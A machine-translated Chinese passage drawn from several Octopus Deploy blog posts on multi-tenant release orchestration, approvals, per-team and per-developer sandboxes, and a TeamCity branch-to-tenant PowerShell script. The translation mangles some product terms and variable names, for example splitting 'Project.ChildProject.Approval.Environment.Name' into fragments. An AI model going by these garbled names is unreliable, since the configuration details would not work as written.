2021.1.0.1准备好去登台。 - 宠物生活、宠物世界和只有狗没有被分配到测试环境。
当 step 模板将最新的2021.1.0.x版本升级到 Staging 时，会选择什么版本？答案是:
- 内部 : 2021.1.0.15
- 宠物生活 : 2021.1.0.15
- 宠物世界 : 2021.1.0.15
- 仅限狗入内 : 2021.1.0.15
- 所有宠物 : 2021.1.0.1
多租户增加了复杂性，因为:
- 只有所有宠物和内部被分配到测试环境。
- 租户可以有不同的版本。
幸运的是，章鱼已经为我们解决了这个问题。如果我们通过释放下拉菜单从过滤器中选择2021.1.0.15释放，仪表板将变成这样:
step 模板与 Octopus Deploy 已经提供逻辑挂钩。在内部，该逻辑查看2021.1.0.15中的所有宠物，并确定这不是升级到暂存的正确版本。所有的宠物都被分配到测试环境中，而那个版本还没有被部署到那个环境中。而对于内部，该版本已经被部署到测试，因此它可以被部署到暂存。
当 step 模板查看 Pet Life 时，它看到租户没有被分配到测试环境。然后，它将从测试环境中选择最新的版本，而不考虑租户。
使用部署子 Octopus 部署项目步骤模板
本节将介绍一些常见父项目场景的配置。
您可以作为访客登录，在示例实例上查看最终的项目。
脚手架
有一些为用户和生命周期配置的脚手架。请参见上一篇中的脚手架部分。
配置用户和生命周期后，您需要创建一个项目。创建项目时，记得选择上面创建的新生命周期。
确保项目配置为所有部署都需要租户。
之后，导航到变量屏幕，添加 API 键和发布模式。
对于每个租户，连接新创建的用于试运行和生产环境的项目。
示例场景假设构建服务器将部署到开发中的所有租户。步骤模板不是根据这一假设编写的。因为开发是渠道生命周期的第一阶段，它将找到与提供的发布模式相匹配的最新发布。
场景:为租户部署从测试到试运行的最新版本
在这个场景中，我们将父项目配置为以特定的顺序部署从测试到阶段的所有子组件。目前，我们不关心批准。
添加步骤
转到新创建的项目的部署流程，并为每个子项目添加一个Deploy Child Octopus Deploy Project步骤。
以下是每个参数的值:
- Octopus Base URL :接受默认值
#{Octopus.Web.ServerUri}。您可以在配置- >节点配置该值。这是为章鱼云预先配置的。 - Octopus API Key:API Key 变量，
#{Project.ChildProjects.ReleaseAPIKey}。 - 子项目空间:接受默认值。这个例子没有在另一个空间中创建一个发布协调项目。
- 子项目名称:子项目的名称。
- 子项目发布号:发布模式变量
#{Project.ChildProjects.ReleasePattern}。 - 未找到子项目发布错误句柄:接受默认值，表示如果发布不存在，跳过它。
- 目的环境名:接受默认值。使用与父项目相同的环境。
- 源环境名称:接受缺省(空)值本例将让 step 模板决定源环境。
- 子项目通道:接受默认值(空)子项目只有一个通道。
- 租户名称:接受默认值
#{Octopus.Deployment.Tenant.Name}。 - 子项目提示变量:接受缺省(空)值。没有提示变量。
- 部署模式:接受默认值。该示例是进行部署，而不是重新部署。
- 强制重新部署:接受默认值。该示例不会重新部署现有的版本。
- 刷新变量快照:接受默认值。该示例不会刷新子项目变量快照。
- 具体部署目标:接受默认值。这个例子没有部署到特定的机器上。
- 忽略特定机器不匹配:接受默认值。我们还没有添加部署目标触发器。
- 将发布说明保存为工件:接受默认值。
- 如果会怎样:接受默认值。我们还没有添加批准。
- 等待完成:接受默认值。此示例将等待部署完成。
- 等待部署:接受默认值。30 分钟应该足够了。
- 调度:接受默认值。这个例子要求子项目有一个特定的顺序。
- 自动批准子项目手动干预:接受默认值。现在不需要这个设置，因为这个例子不涉及手动干预。
- 审批环境:接受默认值。现在不需要这个设置，因为这个例子不涉及手动干预。
- 批准租户:接受默认值。现在不需要这个设置，因为这个例子不涉及手动干预。
创建发布并部署它
在添加和配置这些步骤之后，您就创建了一个发布。在这篇文章中，我将对父项目进行许多修改；您可能会看到发布号的2021.1.0-RCx。
首先，将发布部署到所有宠物租户。
等待释放完成。对于 Web UI 项目，您应该看到发布版2021.1.0.1被选中进行部署。
对于其他项目，您应该会看到2021.1.0.15被选中。
为未分配测试的租户部署该版本
现在我们来看看租户是而不是分配到测试的情况，比如宠物生活、宠物世界、狗狗专用的情况。
宠物生活也不分配到调度服务、单点登录或数据转换服务项目。
当将父项目部署到StagingforPet Life时，会发生一些事情
- Web UI 项目的版本
2021.1.0.15将被选中，因为它是测试的最新成功版本。 - 将跳过计划服务、数据转换服务和单一登录项目。
到目前为止，我们已经将父项目配置为只进行部署。如果我们停在这里，我们会比以前处于更有利的位置。我们可以按特定顺序推出分配给租户的所有组件。此外，该流程将跳过未自动分配给租户的步骤。在管理多租户应用程序时，这本身就是一种成功。但是我们可以更进一步。让我们转到审批。
方案:父项目中的审批
在子项目中进行手动干预是很常见的。在这个示例应用程序中，每个组件项目都有两到三个手动干预。这意味着要提交 8 到 18 个批准，具体取决于租户。那是非常乏味的。
在理想的配置中，所有的批准都在父项目中，并向下流动到子项目。
然而什么是被批准的？部署 Octopus 后，所有手动干预都是部署的一部分。这是先有鸡还是先有蛋的情况。为了解决这个问题，step 模板提供了“假设”功能，它将完成部署之前的所有工作。此外，步骤模板收集了所有的发行说明以帮助批准。
父项目的流程是:
- 以假设模式运行部署子 Octopus 部署项目步骤模板。
- 进行所有必要的手动干预。
- 在正常模式下运行部署子 Octopus 部署项目步骤模板。
在假设模式下运行时，将设置以下输出参数，供流程稍后使用:
- ReleaseToPromote :满足所有要求的发布号。如果找不到版本，则设置为 N/A。如果版本已经部署到目标环境，则它会指示。
- ReleaseNotes :子项目的发布说明。包括提交历史记录和使用构建信息时与项目关联的问题。
- ChildReleaseToDeploy :表示是否有子版本要部署。它要么是真的，要么是假的。在可变运行条件下使用此变量。
创建假设步骤
要对此进行配置，首先克隆所有现有的步骤。通过点击每个步骤旁边的溢出菜单(三个垂直省略号)来完成。
【T2 
重命名每个克隆的步骤。将克隆步骤中的参数更新为:
- 将发行说明保存为工件:设置为
Yes。 - 如果怎么办:设置为
Yes。
添加手动干预步骤
在继续之前，添加手动干预步骤。手动干预步骤的一个特征是它可以向批准者提供指示。我们可以使用 step 模板的输出变量来创建有用的指令。例如:
Please approve releases for:
**Database: #{Octopus.Action[Get Database Release].Output.ReleaseToPromote}**
#{Octopus.Action[Get Database Release].Output.ReleaseNotes}
**Web API: #{Octopus.Action[Get Web API Release].Output.ReleaseToPromote}**
#{Octopus.Action[Get Web API Release].Output.ReleaseNotes}
**Scheduling Service: #{Octopus.Action[Get Scheduling Service Release].Output.ReleaseToPromote}**
#{Octopus.Action[Get Scheduling Service Release].Output.ReleaseNotes}
**Data Conversion: #{Octopus.Action[Get Data Conversion Release].Output.ReleaseToPromote}**
#{Octopus.Action[Get Data Conversion Release].Output.ReleaseNotes}
**Web UI: #{Octopus.Action[Get Web UI Release].Output.ReleaseToPromote}**
#{Octopus.Action[Get Web UI Release].Output.ReleaseNotes}
**Web UI: #{Octopus.Action[Get Sign Sign On Release].Output.ReleaseToPromote}**
#{Octopus.Action[Get Single Sign On Release].Output.ReleaseNotes}
我避免重复劳动。让我们把它作为一个变量。
现在，我们可以添加手动干预，将指令发送到新变量，并且只在生产环境中运行。
手动干预中的负责团队列表与 OR 相结合。列表中任何团队的任何人都可以批准手动干预。如果您需要多个团队的批准，您将需要多个手动干预步骤。
重新排列步骤
部署后，批准没有意义，因此通过单击按名称过滤文本框旁的溢出菜单(三个垂直省略号)并选择重新排序按钮来重新排序步骤。
将您设置的所有“假设”步骤移到“非假设”步骤之上。完成后，您的流程应该如下所示:
了解自动批准的实际应用
为其中一个租户创建一个新版本，并将其部署到 Staging 。一旦发布完成，就将其发布到生产。
在此部署过程中，您将看到手动干预和自动批准在起作用。首先，手动干预应该有随发行说明一起部署的版本:
在每个小组都批准了发布之后，部署就开始了。如果您转到一个特定的部署，您将在子项目中看到类似于以下内容的消息:
发布到生产现已完成。您可以在一个地方批准特定租户的所有子项目部署。
场景:今天批准，明天部署
有时，在进入生产之前，特定客户需要在发布上签字。在实际部署期间，他们不太可能批准部署。例如，更常见的情况是，他们会在周二批准在周四部署。另外，让我提醒你之前的这条规则:
某些客户，如所有宠物和宠物世界必须在发布部署到生产环境之前给予同意。
所有宠物和宠物世界都需要特别批准。所有其他客户只需要一次批准，这将发生在内部租户。
为了避免部署在生产中等待数天的人工干预，您可以在准备和生产之间有一个产品批准环境。
产品批准环境将仅用于父项目。子项目的生命周期将保持不变。
这个场景逐步将产品批准环境添加到多租户应用程序中，以满足这些规则。
添加新环境并配置生命周期
添加产品批准环境。你会注意到我的截图中的环境位于本页的暂存和生产之间。我单击了溢出菜单，对该页面上的环境进行了重新排序。
现在已经添加了新的环境，更新这个发布编排项目所使用的生命周期。
关注默认生命周期。它没有明确定义的短语，而是使用整个环境列表自动生成阶段。要从默认生命周期中删除产品批准，您需要添加显式阶段。
更新部署流程
接下来，更新批准步骤，使其仅在产品批准环境中运行。然后配置非假设步骤，跳过生产审批环境。更新后的部署流程如下所示:
接下来，导航到变量屏幕并添加两个新变量:
- 项目。child project . Approval . environment . name:存储 Prod Approval 环境名。
- 项目。child project . deployment . environment . name:存储部署的目标环境的名称。对于除产品批准之外的所有环境，该名称将与当前环境相匹配。在产品批准环境中运行时，部署环境的名称是生产。
进入实施部署子 Octopus 部署项目的每个步骤，并更新以下参数:
- 目的环境名称:更新为
#{Project.ChildProject.Deployment.Environment.Name}。 - 审批环境:更新至
#{Project.ChildProject.Approval.Environment.Name}。
通过这样做，我们告诉步骤模板在生产部署期间从生产审批环境而不是生产环境中获取审批。这意味着我们可以在上午 11 点批准，并安排在下午 7 点部署。
设置租户审批
最后，设置审批租户。默认情况下，批准租户是当前租户的名称。那个默认将只适用于所有宠物、宠物世界和内部。其他人都会用内部。有几种方法可以实现这一点。我将使用一个项目变量模板，默认值设置为Internal:
转到内部、所有宠物和宠物世界，为发布编排项目分配产品批准环境。
对于所有宠物和宠物世界，在生产环境下将审批租户名称改为Octopus.Deployment.Tenant.Name。这是必要的，因为生产环境是我们需要获得批准的地方。
对于每个“非假设”步骤，将批准租户设置为前面创建的变量。
批准屏幕将显示宠物生活和仅限狗不在产品批准环境中运行。其他房客都是这样。
查看批准的实际情况
让我们看看这一切的行动。首先，让我们部署内部到暂存和生产审批。只有假设步骤和批准步骤将在产品批准环境中运行。
现在把那个发布提升到生产为内部。从内部租户的产品批准环境中获取批准。
在内部通过产品批准后，我们可以进入宠物生活和仅限狗。通过准备和生产促进发布表明内部租户的批准。
当相同的版本被部署到所有宠物的生产时，我们看到批准来自所有宠物租户。
步骤模板仅查找当前版本的批准。创建一个新版本将需要另一轮批准，即使是补丁版本，如2021.1.1。
结论
这篇文章介绍了部署子 Octopus 部署项目步骤模板的一些多租户场景。你可以在我的上一篇中看到更多的场景。
Octopus Deploy 的多租户功能旨在帮助在不同基础设施上安装软件的公司。我看到和听到了客户在这个模型中遇到的各种怪癖，它们是我编写这个步骤模板的动机。我希望帮助客户避免手动流程中的错误，并尽可能消除多租户部署带来的心理负担。
我希望这个步骤模板对您的多租户项目有用。
这个三部分系列的最后一个指南是:
观看网络研讨会:使用 Octopus Deploy 实现更好的多租户部署
https://www.youtube.com/embed/dD8psiK1wL4
VIDEO
我们定期举办网络研讨会。请参见网络研讨会第页，了解过去的网络研讨会和即将举办的网络研讨会的详细信息。
愉快的部署！
利用多租户创建团队和开发人员沙箱——Octopus 部署
最近，我有机会会见一位客户，谈论他们的开发过程。他们想知道是否有可能改变他们的 CI/CD 管道，以便更容易、更快速地测试变更。当他们开始描述他们的场景时，我忍不住笑了，因为在过去的 10 多年里我已经遇到过很多次了。
他们有三个开发团队和四个主要应用程序。四个主要应用程序之间存在一些依赖关系。应用程序 A 可能调用应用程序 B，应用程序 B 调用应用程序 C，依此类推。对于哪个团队可以开发哪个应用程序，并没有明确的“界限”。在任何时候，两个团队都可能在开发同一个应用程序。例如:
- 团队 A 正在为应用程序 A 添加一个新功能。
- 团队 B 正在修复应用程序 a 的一些错误。
- 团队 C 正在为应用程序 b 添加一个新功能。
团队 B 具有更高的优先级，因为它正在修复 bug。团队 A 什么时候可以推出应用程序 A 的新特性，以便 QA 工程师进行测试，业务负责人进行验证？有没有可能在 B 队完成之前完成，而不踩过他们的工作？团队 C 如何在不停止团队 B 的情况下更改他们的应用程序？
请注意:我转述了那次会议的一些内容，如果他们正在阅读这篇文章，我向他们道歉，我把他们的担忧过于简单化了。
在 Octopus Deploy 工作之前，我在不同的工作中多次遇到这种情况。在那些公司，知识的集体缺乏，以及工具的限制，导致了一些，比如说，不寻常的解决方案。团队 C 被告知他们所做的任何改变都必须是向后兼容的。如果需要的话，把它藏在特征标志后面。团队 A 和 B 的工作不能停止。团队 A 被告知在团队 B 完成他们的工作之前不要推进他们的变更。根据这需要多长时间，团队 A 可能也会尝试进行一些小的修改，增加他们修改的范围，并给 QA 带来更多的工作。
这只是三个团队。我曾为拥有 10 多个开发团队的公司工作过。想象一下，试图变戏法所有这一切！
根本问题是上述解决方案不能很好地扩展。手动闸门太多。太容易出错，导致工作变慢。每个团队都需要自己的“沙箱”每个团队的沙箱都有每个团队或开发人员所需的每个应用程序的副本。这使得上述场景更容易处理。
- 团队 A 可以把一个新特性推到他们的沙箱中进行测试，而不需要完全依赖团队 b。
- 团队 C 可以将更改推送到他们的沙盒中进行测试，而不会破坏团队 A 和 b。
- 团队 A 和 B 不知道团队 C 的改变，因为他们指向他们自己的应用程序 B 的副本。
- 一旦团队 C 的变更被验证，他们将把他们的代码合并到一个发布分支或主版本中，这将开始一个新的构建和新的版本。然后团队 A 和 B 将需要把最新的版本带到他们的沙箱中。
有时候，一个开发人员会致力于一个突发事件或另一个变更，他们想要得到反馈，可能来自另一个开发人员，或者来自企业所有者。过去，当我这样做时，我让开发人员和/或企业所有者直接连接到我的机器。直接连接到我的机器对我来说是一个巨大的痛苦，因为我可能正在调整其他东西，代码甚至可能没有运行。如果有一个我也能推动这些改变的地方就好了。当时，如果我这样做了，它会上传到“主”开发服务器，并有可能破坏东西。
这是 Octopus Deploy 的多租户特性的完美用例。在本文中，我将带您了解如何使用 Octopus Deploy 中的多租户特性为团队和开发人员配置私有测试沙箱。
此解决方案的注意事项
这个解决方案有几个重要的注意事项。
首先，这将要求整个应用程序具有自动化部署。你不能有你的代码(c#/JS/TS/PHP/等。)通过 Octopus Deploy 进行部署，而您的数据库是手动部署的。
其次，这种解决方案违背了“永远要集成”的原则如果你尽可能快地测试最新最好的代码，那将是最好的。例如，我在一个贷款发放系统上工作，它依赖于一个服务来获取客户信息。当测试我的更改时，我希望被指向最新和最好的客户服务。根据最新和最好的版本进行测试可以更快地发现问题，从而降低成本。下面详细介绍的解决方案将集成推到了软件开发生命周期的后期。
尽可能快地运行最新最好的代码是有风险的。由于客户服务中的一个新特性而产生的错误可能会导致贷款发放系统的测试速度变慢。没有客户很难贷款。当这种情况发生时——这种情况经常发生，但在其他服务上也是如此——我想要一个依赖服务的稳定副本来指向它。一旦新客户服务的测试完成，我就会把这个版本放到我的沙箱里。这种方法的风险是，我可能直到后来才发现应用程序中的错误。该错误可能需要额外的代码更改，这会增加成本。尤其是如果代码更改需要发生在客户服务中，并且最近已经被推送到生产中。
无论哪种方式都有风险。由您决定您希望风险发生在哪里。
配置 Octopus 部署
在深入了解配置之前，让我们后退一步，看看一些用例。希望在这篇文章的结尾，我们能见到他们所有人。
- 作为团队 C 的开发人员，我希望能够对应用程序 B 进行修改，而不影响其他团队对应用程序 a 的工作。
- 作为一名开发应用程序 A 的开发人员，我希望能够在应用程序 B 的更改完成并通过验证后，将它们拉出来。
- 作为一名开发人员，我总是希望能够在非生产环境中测试当前生产中的内容。
- 作为一名开发人员，我希望能够在不影响我的团队的情况下做出更改，并将其提交给业务所有者进行验证。
- 作为应用程序 A 的开发人员，我想知道 B I 正在连接和测试哪个版本的应用程序。
- 作为团队 A 中的一名开发人员，我希望能够将一个修补程序直接发布到 staging，而不必先进行开发或测试。
- 作为团队 A 中的一名开发人员，我希望能够将团队的变更推进到客户可以提供反馈的测试区域。获得客户反馈不会一直发生，但我希望有这样的机会。
如前所述，我们将使用 Octopus Deploy 的多租户特性来解决这个问题。我选择这个解决方案，而不是为团队和开发人员创建单独的环境，有几个原因。
- 当您添加一个新环境时，您并不知道需要配置的所有变量。在 Octopus Deploy 的多租户特性中，有一个可变模板的概念。如果租户缺少一个变量，UI 中会有一个指示器，并且有一个中心位置来配置它们。
- 它简化了生命周期。我认为任何给定的 Octopus 部署实例都应该有 10 个或更少的环境。
- 它可以随着团队和开发人员的成长而扩展。当有新人开始时，很容易将他们添加为租户，并在几分钟内为他们配置一个测试沙箱。
为此，我将创建一个名为Tenant Type的租户标记集，用于分组和组织目的。基于用例，我需要在Tenant Type标签集中添加三个标签。
- 版本(主版本或主版本和修补程序)。
- 团队(供团队测试用)。
- 人员(每个开发人员)。
全局变量
在我的演示实例中，我有两个变量集。Global将在所有项目中使用。OctoFx将用于任何用于部署 OctoFx 应用程序组件的 OctoFx 项目。
每个环境都有自己的 SQL Server 和 web 服务器。我将在相同的服务器上托管我的租户。每个租户将获得一个独特的子域。我将为分配给团队或个人Tenant Type的租户使用的命名约定将是[environment short name][tenant short name][application name]. octopus demos . com。例如，对于开发中的 Bob 的 OctoFx 应用程序副本，名称将是 DevBobOctoFx.OctopusDemos.com。对于版本Tenant Type，命名约定将是【环境名称】【应用名称】. OctopusDemos.com。例如，开发中的 OctoFx 将是 DevOctoFx.OctopusDemos.com。
我使用同一个 SQL Server 进行开发和测试，所以我的数据库名称乍一看会很奇怪。[environment prefix]-[tenant short name]-[application name]用于分配给团队或个人的租户Tenant Type。鲍勃在Development中的 OctoFx 数据库的副本将是d-Bob-OctoFx。分配给版本Tenant Type的租户将是[environment prefix]-[application name]。比如Development中的 OctoFx 会是d-octofx。
首先，我将在 Global 中创建几个变量来存储环境简称和环境前缀变量。
**请注意:**我喜欢用命名方案【VariableSet】。[组件]。[姓名]。当试图引用它们时，更容易找到。此外，当查看项目的所有变量时，它们更容易找到。
然后，我将跳转到Variable Templates选项卡，添加一个新模板。这将在创建租户并将其分配给各种项目时填充。
现在我可以跳回 variables 选项卡并添加两个变量，一个用于子域名，另一个用于数据库名。您可以将变量的范围扩大到租户标记。请注意，我只对Tenant Type tenant 标签的一个变量进行了限定。这是因为我希望任何“正常的”发布都有相同的命名约定，即使项目没有使用租户。
你会注意到我在这里引用了一个名为Project.Application.Name的变量。该变量将在项目级别设置。这是可能的，因为变量替换是在运行时完成的。需要在运行时替换变量，因为 Octopus 通常直到在机器上运行该步骤时才知道值。
OctoFx变量集没什么超级复杂的。它存储一些数据库值，这样它可以建立一个连接字符串。
基础设施
正如我在前面的部分中所述，我将部署到一个 SQL 服务器和多个 web 服务器。我将使用一个 worker 来部署到 SQL Server。只有网络服务器上有触角。我需要更新触手注册，以允许多租户部署。首先，我们需要告诉 Octopus Deploy 允许对每个 web 服务器进行租户和非租户部署。
当我们这样做时，屏幕上会出现一个新的部分，允许我们选择允许哪些租户。我们将使用Tenant Type标记，而不是分配特定的租户。使用的Tenant Type标签将取决于环境。
- 制作:发布
Tenant Type。 - 登台:组队和发布
Tenant Type。 - 测试:全部
Tenant Type。 - 开发:全部
Tenant Type。
你可能想知道为什么 staging 得到两个团队并发布Tenant Type标签。我见过很多舞台和生产相匹配的例子。这包括外部访问。将 staging 用作外部客户的“测试”站点是很常见的。开发人员做出的一个突发事件或随机变化不太可能被修饰到足以让客户测试的程度。一个团队创建的新特性更有可能在客户测试它之前被多人测试过。
【T2 
当我更新完我的机器后，概览屏幕将如下所示:
项目
在配置租户之前，我想看一下我将作为例子使用的OctoFx应用程序。OctoFx 由两部分组成；一个数据库和一个网络界面。每个组件在 Octopus Deploy 中都有其部署项目。并不是对 OctoFx 的所有更改都需要部署完整的应用程序。
向数据库添加索引不需要部署网站。更新 CSS 不需要部署数据库。将它们分开有助于节省时间。当您必须部署修补程序时，这真的很方便。当您真正需要修复网站时，必须等待数据库部署完成，这是对耐心的一种锻炼。
每个项目只需要专注于一件事。数据库项目只是担心数据库部署。
**请注意:**这个项目是在假设数据库在那个特定环境中不存在的情况下创建的。它将创建一个新的数据库，并运行必要的脚本来添加模式、数据和用户。
而 web 部署只需要考虑 web 部署的步骤。就像数据库项目一样，它是在假设网站不存在的情况下编写的。部署到 IIS 将在服务器上创建网站。然后有一个步骤将网站添加到 DNS。
有些情况下，您希望同时部署整个堆栈。这就是“交通警察”项目的由来。它使用 deploy a release 步骤以正确的顺序部署组件。
构建服务器负责为每个组件创建版本。一个人将进来并为交通警察项目创建发布。请注意，traffic cop 项目的生命周期允许您直接部署到 staging，跳过Development和Testing。跳过这些环境是为了处理个别组件被手动推送到Testing的情况。
**请注意:**我的示例实例中的项目是在假设数据库和/或网站不存在的情况下创建的。每个项目都执行必要的步骤来启动和运行组件。为了让这种沙盒方法发挥作用，您的项目需要用类似的概念来创建。你不必重复我在项目中使用的确切过程。
另一个需要做的重要调整是配置项目以支持多租户部署。可以通过转到项目的设置部分并更改多租户设置来找到该配置。在我的例子中，我选择需要一个租户来进行部署。如果您第一次将项目过渡到多租户，那么允许有租户和没有租户的部署会更有意义。
分支、生命周期和通道
现在正是讨论分支策略的最佳时机。分支将对应于 Octopus Deploy 中的一个生命周期和项目通道。我将让我的构建服务器向来自非发布分支的任何包构建添加一个预发布标记。构建服务器还将根据分支名称确定租户和通道。
- 发布分支(release/*):部署到开发->测试->试运行->生产。所有生产版本的 95%都将经历这个生命周期。
- 热修复分支(hotfix/*):可以跳过开发和测试，直接进入试运行阶段，然后进入生产阶段。所有生产版本的 5%应该经历这个生命周期。这为生产提供了一条清晰的路径，同时提供了测试能力。
- 团队分支([TeamName]/*):只能转到开发->测试->登台。这个分支将有一个附加到包名的预发布标签。
- 开发者分支([DeveloperName]/*):只能去开发->测试。这个分支将有一个附加到包名的预发布标签。
在 Octopus Deploy 中，我创建了以下生命周期。团队和开发生命周期将Development和Testing环境设置为可选的。这是为了让用户能够自由选择要更新的环境。
每个项目将有以下渠道来支持各种用例。
每个使用的渠道都有一个针对软件包预发布标签的版本规则。对于团队和开发人员部署，过滤器是.+，这意味着它必须有一个预发布标签。对于所有其他频道，过滤器是^$，这意味着不允许预发布标签。
构建服务器配置将在本文稍后介绍。
您会注意到任何租户都可以使用默认频道。这是否意味着每个租户都可以部署到生产环境中？不。当您将租户链接到项目时，您将告诉 Octopus 租户可以部署到的环境。
房客
租户标签已经就位。已经配置了生命周期。项目已经配置完毕。已经进行了必要的基础设施改革。终于到了创建一些租户的时候了。
对于每个租户，我将分配一个租户标记。
然后，我将连接我的项目。因为这是一个人Tenant Type我只允许部署到Development和Testing环境。
如果您还记得，Global变量集有一个变量模板。现在项目已经连接好了，我需要进入变量然后选择Common Templates来填充变量模板。
该说的都说了，该做的都做了，我为发布版Tenant Type创建了两个租户。
团队的三个租户Tenant Type。我们把我们的团队命名为 pod-[章鱼型]。
最后，几个租户指定了这个人Tenant Type。
【T2 
租户屏幕可以按Tenant Type过滤。通过Tenant Type过滤可以更容易地找到特定的租户。以及事后截图。我完全做到了。
现在，项目概览屏幕将显示所有租户。
我可以通过选择一个版本来部署到特定的租户。
当您进入部署屏幕时，您可以选择按租户标签部署到特定的租户。如果您查看屏幕截图的底部，它会向您显示将被部署到的所有租户。
项目概述屏幕还提供了按租户标签对租户进行分组的能力。当我们按租户类型分组时，屏幕将按租户类型对所有租户进行分组。
构建服务器
在这个例子中，我将使用 TeamCity。同样的核心概念也适用于您选择的构建服务器。
在构建开始时，我运行一个 PowerShell 脚本来设置各种输出参数。
在我的例子中，PowerShell 脚本设置了这三个参数。
这些参数将在创建发布步骤中使用。
被调用的 PowerShell 并不是什么超级复杂的东西。对照规则列表检查分支名称，然后从那里开始。在脚本的最后，它使用 TeamCity 特定的格式来设置输出变量。
Param(.
[string]$currentBranch,
[string]$buildNumber,
[string]$defaultMajorVersion,
[string]$featureBranchVersion
)
Write-Host "BuildNumber: $buildNumber"
Write-Host "DefaultMajorVersion: $defaultMajorVersion"
Write-Host "FeatureBranchVersion: $featureBranchVersion"
$channelName = "Default"
$releaseVersion = "$defaultMajorVersion.$buildNumber"
$environmentName = "Development"
$tenantName = "Main"
Write-Host "The branch that is building is: $currentBranch"
if ($currentBranch -like "refs/heads/hotfix*") {
Write-Host "Hotfix Branch Detected, deploying to staging and using the hotfix channel"
$channelName = "Hotfix"
$releaseVersion = "$defaultMajorVersion.$buildNumber"
$environmentName = "Staging"
$tenantName = "Hotfix"
}
elseif ($currentBranch -like "refs/heads/team-*") {
Write-Host "Team branch detected, deploying to a team tenant"
$channelName = "Team and Developer"
$environmentName = "Development"
$preReleaseTag = $currentBranch.replace("refs/heads/team-", "").replace(" ", "").replace("/", "-")
$releaseVersion = "$featureBranchVersion.$buildNumber-$preReleaseTag"
$teamName = $currentBranch.replace("refs/heads/team-", "")
$teamName = $teamName.substring(0, $teamName.indexOf("/"))
$tenantName = $teamName
}
elseif ($currentBranch -like "refs/heads/developer-*") {
Write-Host "Dev branch detected, deploying to the team or team tenant"
$channelName = "Team and Developer"
$environmentName = "Development"
$preReleaseTag = $currentBranch.replace("refs/heads/developer-", "").replace(" ", "").replace("/", "-")
$releaseVersion = "$featureBranchVersion.$buildNumber-$preReleaseTag"
$devName = $currentBranch.replace("refs/heads/developer-", "")
$devName = $devName.substring(0, $devName.indexOf("/")).replace("-", " ")
$tenantName = $devName
}
else{
Write-Host "Master or release branch detected, using the defaults"
$channelName = "Default"
$releaseVersion = "$defaultMajorVersion.$buildNumber"
$environmentName = "Development"
$tenantName = "Main"
}
Write-Host "Tenant Name: $tenantName"
Write-Host "Environment Name: $environmentName"
Write-Host "Release Version: $releaseVersion"
Write-Host "Channel Name: $channelName"
"##teamcity[setParameter name='env.octopusChannel' value='$channelName']"
"##teamcity[setParameter name='env.octopusVersion' value='$releaseVersion']"
"##teamcity[setParameter name='env.octopusEnvironment' value='$environmentName']"
"##teamcity[setParameter name='env.octopusTenant' value='$tenantName']"
最后一部分是告诉您的构建服务器，在我的例子中是 TeamCity，监控所有的分支，或者监控符合您的需求的分支。
看到它的实际应用
是时候测试一下了。我为我的开发人员创建了一个测试分支，并将其推送到服务器。
TeamCity 选择了新的分支机构。
日志表明它成功地找到了所有东西。
并且为租户启动部署。
【T2 
我也有一个特定的分支包，然后可以与其他开发人员共享。
因此，如果 Derek 想要将这些更改带入他的沙箱，我们将首先将版本更改为我的版本号。然后，我们将单击“部署”按钮。
站着一整个沙箱
到目前为止，我们一直专注于一个应用程序，OctoFx。我敢打赌，您的开发团队中有不止一个应用程序。为了解决这个问题，我创建了一个名为Deploy All The Things的项目。项目的生命周期允许它进入开发、测试和准备阶段，开发和测试是可选的。它旨在供带有个人或团队Tenant Type租户标签的租户使用。
目前它只部署了 OctoFx。将来，它可以部署其他应用程序，并按照需要的顺序进行部署。
关于部署发布步骤的一个注意事项。当您创建一个发布时，也就是当您选择子项目的发布版本时，这个项目完全有可能只将一个发布部署到一个环境中的一个租户。
结论
这需要一点设置，但是可以配置 Octopus Deploy，这样每个团队和每个开发人员都有自己的沙箱来部署。拥有一个独立的沙箱将允许团队和开发人员获得关于正在进行的工作的反馈，而不必与其他团队协调何时可以进行更改。让我们再检查一次用例，以确保我们解决了它们。
- 作为团队 C 的一名开发人员，我希望能够对应用程序 B 进行更改，而不影响其他团队对应用程序 a 的工作。->解决了，每个团队都有自己的沙箱。开发应用程序 B 的团队会推进他们的沙箱进行测试。
- 作为一名开发应用程序 A 的开发人员，我希望能够在应用程序 B 的更改完成并通过验证后，将它们拉出来。->解决后，团队可以等待，直到更改被合并到一个发布分支并推送到主租户，或者他们可以选择为租户创建的发布并将其放入他们的沙箱。
- 作为一名开发人员，我总是希望能够在非生产环境中测试当前生产中的内容。->已解决，只有在团队沙盒中验证了某项功能后，才会更改非生产环境中的主要租户。更改在主租户的较低环境中停留的时间应该很短，因为它已经过测试。
- 作为一名开发人员，我希望能够在不影响我的团队的情况下做出更改，并将其提交给业务所有者进行验证。->解决了，每个开发者都获得了自己的租户，也就是获得了自己的沙盒。
- 作为应用程序 A 的开发人员，我想知道 B I 正在连接和测试哪个版本的应用程序。->已解决，每个团队和开发人员都可以完全控制他们的沙箱中的版本。
- 作为团队 A 中的一名开发人员，我希望能够将一个修补程序直接发布到 staging，而不必先进行开发或测试。->已解决，有了渠道和热修复租户，就有可能将更改直接推送到暂存。
- 作为团队 A 中的一名开发人员，我希望能够将团队的变更推进到客户可以提供反馈的测试区域。获得客户反馈不会一直发生，但我希望有这样的机会。->解决了，任何有团队的租户
Tenant Type都可以推送到 staging。
关于修补程序租户的最后一个想法。你不需要包括这个。我这样做是因为与我交谈的客户在其暂存环境中有一个单独的“热修复”子域。这对他们来说是有意义的。对你来说可能没有意义。我鼓励您亲自测试一下，并调整流程以满足您的需求。
下次再见，愉快的部署！
多租户部署:起源- Octopus 部署
原文：https://octopus.com/blog/multi-tenant-deployments-origins
这篇文章是我们 Octopus 3.4 博客系列的一部分。在我们的博客或我们的推特上关注它。
Octopus Deploy 3.4 已经发货！阅读博文和今天就下载！
与其深入讨论多租户部署的“如何做”或“是什么”,我想我应该花点时间来回顾一下它是如何走到今天这一步的...为什么花了这么长时间！
善意
在用户之声中排名第二的建议获得了几乎两倍的票数，为租赁部署提供支持似乎是用户迫切需要的一项功能。我们可以看到这样一个功能如何真正让那些需要管理多个客户部署、目前被迫复制项目或环境的用户的生活变得更加轻松，正如我们可用的多租户部署指导文档中所建议的那样。
这种认识是在去年实现的，它最初被安排在我们的公开路线图中3.1.0发布。不幸的是，正如俗话所说，生活阻碍了我们(或者在我们的例子中是“Azure 部署目标”设计支点)。在我们决定响应用户反馈(Azure 部署目标的限制)时，我们被迫将多租户部署推进到一个提议的3.2.0版本中，以便我们可以提供一个新的带有相关修复的小版本。鉴于用户对我们在3.0.0设计的 Azure 目标的反应，我们似乎走错了路，并渴望尽快纠正它。这是从社区获得更好反馈的一课。我们渴望在未来更好地实践社区驱动的设计流程。
